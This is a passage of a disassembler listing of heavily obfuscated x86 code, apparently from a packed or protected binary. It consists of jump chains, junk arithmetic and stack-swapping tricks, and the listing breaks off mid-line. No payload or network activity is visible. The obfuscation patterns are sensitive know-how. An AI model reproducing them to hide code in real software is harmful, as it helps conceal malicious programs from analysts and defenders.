00000007 BYTES ; FUNCTION CHUNK AT 005A9415 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005A94F4 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A9F00 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005AA3EE SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005AA4B1 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005AA6D1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AA82F SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005AA870 SIZE 00000039 BYTES ; FUNCTION CHUNK AT 005AA90F SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005AAAF1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AABCE SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005AAC2A SIZE 0000002D BYTES ; FUNCTION CHUNK AT 005AB1F0 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005AB21F SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005AB3A6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005AB40A SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005AB5E5 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005ABB40 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005ABFC0 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005AC036 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005AC250 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005AC67F SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005ACF66 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005AD2D3 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005AD535 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005AD596 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 005AD674 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005ADA16 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005ADCB0 SIZE 00000038 BYTES ; FUNCTION CHUNK AT 005ADDAD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005ADEE6 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005AE1B6 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005AE317 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005AE665 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 005AE6DB SIZE 0000002B BYTES ; FUNCTION CHUNK AT 005AE843 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005AE9D3 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005AEF0C SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005AF166 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005AF1C6 SIZE 00000056 BYTES ; FUNCTION CHUNK AT 005AF369 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005AF547 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005AF7DA SIZE 0000002F BYTES ; FUNCTION CHUNK AT 005AFE51 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005B008F SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005B0421 SIZE 00000015 BYTES push ebp push [esp+arg_0] pop ebp jmp loc_5A5219 sub_59D6B8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_59D6C3 proc near ; CODE XREF: sub_5AA2D1-CFF8j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005AC9DE SIZE 00000007 BYTES sub esp, 4 mov [esp+4+var_4], esi jmp loc_5AC9DE sub_59D6C3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_59D6D1: ; CODE XREF: sub_59D6B8+FE89j pop dword ptr [esp+0] pop esp jmp loc_5A48E1 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A4E8 loc_59D6DA: ; CODE XREF: sub_59A4E8+A261j pop ebp dec esi neg esi push esi not [esp+10h+var_10] jmp loc_5AA0CD ; END OF FUNCTION CHUNK FOR sub_59A4E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_59D6E7: ; CODE XREF: sub_59C979+8252j add al, 0D5h pop edx sub al, 7Dh sub al, dh add al, 7Dh add al, 0A9h jmp loc_5AB511 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59D6F7: ; CODE XREF: sub_5AA2D1-BECCj mov bl, dl pop edx xor bl, 9 push edx mov dl, 0EAh inc dl jmp loc_59FD01 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_59D707: ; CODE XREF: sub_5A7BA0-72DDj ; sub_59D6B8+BD79j push 500Eh mov [esp-4+arg_0], edi mov edi, ebx jmp loc_5A7402 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5EFF loc_59D716: ; CODE XREF: sub_5A5EFF-8292j mov [esp+4+var_4], edx push 7F331E6Eh pop edx push esi mov esi, 2ADB1C6Bh and edx, esi pop esi sub edx, 56330C93h jl loc_5A688E neg edx sub esp, 4 jmp sub_59EE3E ; END OF FUNCTION CHUNK FOR sub_5A5EFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_59D73E: ; CODE XREF: sub_59CBE1+200Fj add esp, 4 jmp loc_5A0024 ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59D746: ; CODE XREF: sub_5AA2D1-C96Fj sub bl, 2Bh add bl, al push 382Ch mov [esp+8+var_8], eax mov ah, 74h dec ah shl ah, 1 xor ah, 0CDh inc ah xchg bl, ah not bl xchg bl, ah xor ah, 0F8h add bl, ah jmp loc_5AEC87 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A986 loc_59D76E: ; CODE XREF: sub_59A986+1766j push ecx mov ecx, 6EA95900h xor edi, ecx pop ecx sub edi, 16253D97h xor ebx, edi pop edi jmp sub_59D9AA ; END OF FUNCTION CHUNK FOR sub_59A986 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4DFC loc_59D785: ; CODE XREF: sub_5A4DFC+3j xor ah, [esp+0] jmp loc_599B14 ; END OF FUNCTION CHUNK FOR sub_5A4DFC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59D78D: ; CODE XREF: sub_5992DA+C3C3j shl edx, 1 push ecx push esi mov esi, 589E0604h jmp sub_5A71F0 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599884 loc_59D79B: ; CODE XREF: sub_599884+9j mov edi, 1EDA1F1Fh push ebp mov ebp, 387F6943h jmp loc_5AE912 ; END OF FUNCTION CHUNK FOR sub_599884 ; =============== S U B R O U T I N E ======================================= sub_59D7AB proc near ; DATA XREF: sdfs____:00598E50o push dword ptr [edx] jmp loc_59910F sub_59D7AB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59D7B2: ; CODE XREF: sub_5AA2D1-102F7j mov [esp-8+arg_4], ebp push ebx push 1FA66C2Fh pop ebx and ebx, 2A92496Eh sub ebx, 0CAF40709h mov ebp, ebx jmp loc_5AA288 ; --------------------------------------------------------------------------- loc_59D7CF: ; CODE XREF: sub_5AA2D1-B518j mov [esp-4+arg_0], ecx push ebx push ecx mov cl, 0F1h mov bh, 89h xor bh, cl pop ecx mov ch, 0C5h sub ch, bh pop ebx push bx mov bh, 0FAh and ch, bh pop bx shr ch, 5 jmp loc_5A7D33 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_59D7F0: ; CODE XREF: sub_5A0FFF+59CAj mov [esp+0], eax mov eax, esp push ebp mov ebp, 4E072D68h add ebp, 27FA47DEh sub ebp, 32A2F33h jmp loc_5A816D ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A86D0 loc_59D80C: ; CODE XREF: sub_5A86D0-131Aj mov esp, [esp+0] shl eax, cl push ebx push eax push 15233EDCh pop eax add eax, 196F4D0Fh jno loc_5A34B7 push edx jmp loc_5A8DE7 ; END OF FUNCTION CHUNK FOR sub_5A86D0 ; --------------------------------------------------------------------------- jmp loc_59E3FA ; --------------------------------------------------------------------------- loc_59D82F: ; CODE XREF: sdfs____:005AEB5Ej mov [esp], ebp mov ebp, 74094BA0h jmp loc_5AA9D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7746 loc_59D83C: ; CODE XREF: sub_5A7746-A194j pop esp jmp loc_5A3649 ; END OF FUNCTION CHUNK FOR sub_5A7746 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A917C loc_59D842: ; CODE XREF: sub_5A917C-CD3Bj pop esp add esi, 4 push esi jmp loc_59F2F7 ; END OF FUNCTION CHUNK FOR sub_5A917C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_59D84F: ; CODE XREF: sub_5A2E28:loc_5A62ABj and ebp, 0B0E5609h jns loc_5A732D and ebp, 6F3219FCh jmp loc_5A6085 ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_59D866: ; CODE XREF: sub_5A6BBC-93Dj add esi, 2 xchg esi, [esp+8+var_8] pop esp and cl, 0Ah jnp loc_5A68AD jmp loc_5A4BB7 ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_59D87B: ; CODE XREF: sub_5A2E28-9CB5j ; sub_5AB5A9-E5BAj pop esi xor eax, 0CB77CDEh neg eax push 1BE6h mov [esp-4+arg_0], ebx push esp pop ebx add ebx, 4 jmp loc_59B316 ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AFD37 loc_59D898: ; CODE XREF: sub_5AFD37-61D8j mov ebx, 34E6630Bh add ebx, 5D386534h ja loc_59D14F dec ebx jo loc_59A328 neg ebx jmp loc_5A4090 ; END OF FUNCTION CHUNK FOR sub_5AFD37 ; --------------------------------------------------------------------------- pop esi ; START OF FUNCTION CHUNK FOR sub_5AF294 loc_59D8B8: ; CODE XREF: sub_5AF294-14686j push edx mov edx, 2FA3E782h xor ebx, edx pop edx jmp loc_5A83C3 ; END OF FUNCTION CHUNK FOR sub_5AF294 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59D8C6: ; CODE XREF: sub_5AA2D1+23E5j jmp loc_5AA265 ; --------------------------------------------------------------------------- loc_59D8CB: ; CODE XREF: sub_5AA2D1-100F4j pop eax or edx, ecx mov ecx, [esp-8+arg_4] add esp, 4 inc edx jnz loc_59E95D push 6D39h mov [esp-8+arg_4], ebp and bh, 2 loc_59D8E9: ; CODE XREF: sub_5AF2D9-3B98j or esi, 10F7434Ah push ebp jmp loc_59BE6B ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599D0E loc_59D8F5: ; CODE XREF: sub_599D0E+141E7j mov [esp-4+arg_0], esi mov esi, esp sub esp, 4 mov [esp+0], ebx push eax mov eax, 203A36FDh mov ebx, 203A3701h add ebx, 58A024EAh sub ebx, eax sub ebx, 58A024EAh pop eax add esi, ebx push dword ptr [esp+0] pop ebx add esp, 4 push ebp mov ebp, esp jmp loc_5AA12E ; END OF FUNCTION CHUNK FOR sub_599D0E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB622 loc_59D92E: ; CODE XREF: sub_5AB622-118FFj push 36A9h mov [esp+0Ch+var_C], ebx jmp loc_5A260F ; END OF FUNCTION CHUNK FOR sub_5AB622 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F02F loc_59D93B: ; CODE XREF: sub_59F02F+1E1Aj pop esp mov [esp+0Ch+var_C], ecx jmp loc_59BF12 ; END OF FUNCTION CHUNK FOR sub_59F02F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A16B8 loc_59D944: ; CODE XREF: sub_5A16B8+9E54j add ecx, edx jmp loc_59A7F4 ; END OF FUNCTION CHUNK FOR sub_5A16B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_59D94B: ; CODE XREF: sub_5A477C-5879j xchg esi, edi not esi jmp loc_5A64C9 ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59D954: ; CODE XREF: sub_5AA2D1-D6F5j mov al, 2Ah add al, 11h shl al, 4 sub al, 5Fh add al, 8 sub bl, al pop eax jmp loc_59D746 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A81C4 loc_59D967: ; CODE XREF: sub_5A81C4+1275j add esp, 4 jmp loc_5A42DB ; END OF FUNCTION CHUNK FOR sub_5A81C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59D96F: ; CODE XREF: sub_5A600D+2F14j ; sub_5AA2D1+56AFj pop ebx xor ebp, [esp-8+arg_4] xor [esp-8+arg_4], ebp xor ebp, [esp-8+arg_4] pop esp mov [esp-0Ch+arg_8], ecx push ebp push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp-4+arg_0] jmp loc_5ACCBF ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_59D995: ; CODE XREF: sub_5A9EBF-58B4j ; sub_59D6B8+7ED0j sub ecx, 1A096262h add ecx, 6C5F12EAh pop esi xor ecx, [esp-8+arg_4] jmp loc_5A3AD9 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; =============== S U B R O U T I N E ======================================= sub_59D9AA proc near ; CODE XREF: sub_59A986+2DFAj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059D10F SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005AA3E4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005ADFA1 SIZE 0000003F BYTES sub esp, 4 jmp loc_59D10F sub_59D9AA endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F1C3 loc_59D9B2: ; CODE XREF: sub_59F1C3+8273j mov esi, 1A843094h and edx, esi pop esi add edx, 7E1421F4h not edx shr edx, 4 xor edx, 59FC87DDh add eax, edx jmp loc_5A6B2F ; END OF FUNCTION CHUNK FOR sub_59F1C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_59D9D2: ; CODE XREF: sub_5A477C+280Fj shr eax, 5 jmp loc_59F67F ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A580F loc_59D9DA: ; CODE XREF: sub_5A580F-5008j mov edx, 1A334E74h sub edx, 0AE6D48A0h sub eax, 3F25007Bh add eax, edx add eax, 3F25007Bh pop edx pop edi xor eax, 0D8732015h add edi, eax mov eax, [esp-4+arg_0] jmp loc_5B021F ; END OF FUNCTION CHUNK FOR sub_5A580F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A79BE loc_59DA02: ; CODE XREF: sdfs____:005A513Cj ; sub_5A79BE-137Ej mov esi, 7436991h shr esi, 8 jmp loc_5A175B ; END OF FUNCTION CHUNK FOR sub_5A79BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB08D loc_59DA0F: ; CODE XREF: sub_5AB08D-F071j push edx mov edx, 65435C8Ch neg edx shr edx, 3 shr edx, 6 sub edx, 0E1659FCDh jmp loc_599EB3 ; END OF FUNCTION CHUNK FOR sub_5AB08D ; --------------------------------------------------------------------------- loc_59DA28: ; CODE XREF: sdfs____:0059F5DEj sub dword ptr [esp+4], 3ABF7CBCh pop ecx jmp loc_59910F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3992 loc_59DA36: ; CODE XREF: sub_5A3992:loc_5A45D5j or ebx, 238112A1h jnp loc_5AB5F4 shl ebx, 5 jmp loc_5A16C1 ; END OF FUNCTION CHUNK FOR sub_5A3992 ; --------------------------------------------------------------------------- shl ecx, 6 push esp loc_59DA4E: ; CODE XREF: sdfs____:005AD96Dj xchg eax, [esp] pop esp jmp loc_59E5F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59DA57: ; CODE XREF: sub_5AA2D1-D573j pop ecx push eax mov eax, 4A132688h xor eax, 32CA5349h jmp loc_5A7099 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD243 loc_59DA68: ; CODE XREF: sub_5AD243-193Bj add eax, 0A6134972h sub eax, 137F67E9h sub eax, 44387051h sub eax, 0B3ED0EB9h add esi, 7DD519BBh add esi, eax sub esi, 7DD519BBh jmp loc_5AD03E ; END OF FUNCTION CHUNK FOR sub_5AD243 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A491A loc_59DA8F: ; CODE XREF: sub_5A491A+77E8j add esp, 4 push ecx push esp pop ecx add ecx, 4 jmp sub_5A765F ; END OF FUNCTION CHUNK FOR sub_5A491A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_59DAA0: ; CODE XREF: sub_59EE3E-4FEBj js loc_5A45AB jmp loc_5AEBB9 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- shl ebx, 7 jmp loc_59A812 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59DAB3: ; CODE XREF: sub_5AA2D1-108C7j push eax jmp loc_5AAEBF ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_59DAB9 proc near ; CODE XREF: sub_5A5EFF-BE3Aj var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], edi sub esp, 4 mov [esp+8+var_8], ebx push eax mov eax, 15BB1265h jmp loc_5A0C04 sub_59DAB9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AAE5E loc_59DAD3: ; CODE XREF: sub_5AAE5E+2ADEj sub ebp, 4 push ebp push [esp+8+var_4] mov ebp, [esp+0Ch+var_C] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+10h+var_10] jmp loc_59CDCD ; END OF FUNCTION CHUNK FOR sub_5AAE5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_59DAF8: ; CODE XREF: sub_5A477C-8454j dec edx and edx, 17FB4805h jo loc_5A2AEA add edx, 0FE132BF2h jmp loc_5A1BB6 ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59BE17 loc_59DB10: ; CODE XREF: sub_59BE17+74Aj push edx mov edx, 7E057B31h or edx, 65A56D72h and edx, 4E075EA1h sub edx, 0B0E5752h not edx add edx, 7835637Ch sub ecx, edx pop edx add ecx, 0BFE22173h jmp loc_59E1C0 ; END OF FUNCTION CHUNK FOR sub_59BE17 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A8E92 loc_59DB3E: ; CODE XREF: sub_5A8E92-B8CCj mov edx, [esp-4+arg_0] push ebx mov ebx, esp add ebx, 4 sub esp, 4 jmp loc_5AF940 ; END OF FUNCTION CHUNK FOR sub_5A8E92 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B03B3 loc_59DB52: ; CODE XREF: sub_5B03B3-6CE0j xchg esi, [esp+0] jmp loc_5A7E4B ; END OF FUNCTION CHUNK FOR sub_5B03B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_59DB5A: ; CODE XREF: sub_59C979+1270Ej or eax, eax jz loc_59C459 push dword ptr [edi+1Ch] jmp loc_5A2957 ; --------------------------------------------------------------------------- loc_59DB6A: ; CODE XREF: sub_59C979+E10Fj add ecx, 408A2FECh pop eax add ecx, 4 xor ecx, [esp+0] xor [esp+0], ecx xor ecx, [esp+0] jmp loc_5A9773 ; END OF FUNCTION CHUNK FOR sub_59C979 ; =============== S U B R O U T I N E ======================================= sub_59DB82 proc near ; CODE XREF: sub_5AA2D1-3633j var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0059AEDA SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0059C125 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A0FF2 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A2133 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005A66B6 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005A6B6D SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005A7B66 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A8FF4 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005A9CF9 SIZE 00000006 BYTES push ebx push 1D6B5B8Ch pop ebx sub ebx, 97C02F5Ch jmp loc_5A2133 sub_59DB82 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599C9B loc_59DB94: ; CODE XREF: sub_599C9B+FEA5j add esp, 4 pop ebp push small word ptr [eax] jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_599C9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599509 loc_59DBA3: ; CODE XREF: sub_599509+18j mov [esp+4+var_4], ecx push dword ptr [esp+4] mov ecx, [esp+8+var_8] push edi push esp jmp loc_59DD54 ; END OF FUNCTION CHUNK FOR sub_599509 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B0377 loc_59DBB4: ; CODE XREF: sub_5B0377-132Bj pop ebx pop [esp+8+var_8] mov esp, [esp+4+var_4] jmp loc_5A3D98 ; END OF FUNCTION CHUNK FOR sub_5B0377 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A9E9 loc_59DBC0: ; CODE XREF: sub_59A9E9+8110j push eax mov eax, 4A50695Dh dec eax jmp loc_5AC081 ; END OF FUNCTION CHUNK FOR sub_59A9E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F074 loc_59DBCC: ; CODE XREF: sub_59F074-2747j add edx, 0FECDA2E0h add eax, edx mov edx, [esp+0] add esp, 4 push ebx mov ebx, 2 add eax, ebx push dword ptr [esp+0] pop ebx add esp, 4 xor eax, [esp-4+arg_0] jmp loc_599957 ; END OF FUNCTION CHUNK FOR sub_59F074 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A8215 loc_59DBF7: ; CODE XREF: sub_5A8215+1A13j xor edi, ebp xchg edi, [esp+4+var_4] jmp loc_59A28C ; END OF FUNCTION CHUNK FOR sub_5A8215 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59DC01: ; CODE XREF: sub_5AA2D1-B26Aj sub esi, 1D987ABDh sub esi, 7F875592h add esi, ebx add esi, 7F875592h add esi, 1D987ABDh push ebp mov ebp, 0C4970A3h sub esi, ebp pop ebp pop ebx xchg esi, [esp+8+var_8] jmp loc_59F66D ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_59DC2D: ; CODE XREF: sub_59C979+3F3j sub al, 0E9h mov dx, word ptr [esp-0Ah+arg_6] jmp loc_5A5176 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- loc_59DC38: ; CODE XREF: sdfs____:005A9D4Fj mov esi, edi pop edi sub eax, esi jmp loc_59D47D ; --------------------------------------------------------------------------- locret_59DC42: ; CODE XREF: sdfs____:00599793j retn ; --------------------------------------------------------------------------- loc_59DC43: ; DATA XREF: sdfs____:00598E2Co mov ax, [esp] push ebx jmp loc_5A2CB0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59DC4D: ; CODE XREF: sub_5AA2D1-10270j add edx, 512806C4h sub edx, 3BAD9218h add ebx, edx pop edx jmp loc_59BF41 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_59DC61: ; CODE XREF: sub_59EE3E+9ED1j pop esi jmp loc_59C9EC ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5EFF loc_59DC67: ; CODE XREF: sub_5A5EFF-77FDj xchg esi, [esp+8+var_8] mov esp, [esp+8+var_8] jmp loc_59D716 ; END OF FUNCTION CHUNK FOR sub_5A5EFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_59DC72: ; CODE XREF: sub_59D6B8:loc_5A6456j push 7C41h jmp loc_59AF88 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB207 loc_59DC7C: ; CODE XREF: sub_5AB207-BFD2j add edi, 4 jmp loc_5AE6AB ; END OF FUNCTION CHUNK FOR sub_5AB207 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_59DC87: ; CODE XREF: sub_59C979+1646j push esp pop ebp add ebp, 4 push 16AAh mov [esp-6+arg_2], ecx mov ecx, 4 sub ebp, 371D313Ah jmp loc_59D534 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5607 loc_59DCA7: ; CODE XREF: sub_5A5607-423Cj pop esi push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+0] pop esp jmp loc_5A2843 ; END OF FUNCTION CHUNK FOR sub_5A5607 ; --------------------------------------------------------------------------- loc_59DCC0: ; CODE XREF: sdfs____:005A995Ej push 3D9Fh mov [esp], eax mov ah, ch mov bl, ah jmp loc_5ABA50 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_59DCD1 proc near ; CODE XREF: sub_59F4D2+5E47j push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+0] pop esp jmp loc_59910F sub_59DCD1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59DCE9: ; CODE XREF: sub_5992DA:loc_5AE237j and dh, 0CFh jnb loc_5AA9C3 add dh, 93h jl loc_599C07 pop esi loc_59DCFC: ; CODE XREF: sub_59B442+1Cj jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_59DD01: ; CODE XREF: sub_59EE3E+B88Ej shl edx, 8 jz loc_5A04DB dec edx jg loc_59F216 sub edx, 60DC5EBFh mov esi, edx mov edx, [esp-4+arg_0] push ebp ; END OF FUNCTION CHUNK FOR sub_59EE3E ; START OF FUNCTION CHUNK FOR sub_5A2E41 loc_59DD1D: ; CODE XREF: sub_5A2E41+5043j ; sub_5AB179+4B99j and edx, 5A94864h and edx, 1AE561C2h push ebx mov ebx, 4CC24829h and edx, ebx jmp loc_5A7754 ; END OF FUNCTION CHUNK FOR sub_5A2E41 ; =============== S U B R O U T I N E ======================================= sub_59DD36 proc near ; DATA XREF: sdfs____:00599060o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0059E30E SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A2764 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 005A4F05 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 005A647B SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A8DD7 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005A9338 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005AB924 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005ACE78 SIZE 00000026 BYTES push dword ptr [esp+0] mov eax, [esp+4+var_4] sub esp, 4 mov [esp+8+var_8], ecx mov ecx, esp push 7983h mov [esp+0Ch+var_C], ebx jmp loc_5A9338 sub_59DD36 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599509 loc_59DD54: ; CODE XREF: sub_599509+46A6j mov edi, [esp+10h+var_10] jmp loc_59A2B8 ; END OF FUNCTION CHUNK FOR sub_599509 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_59DD5C: ; CODE XREF: 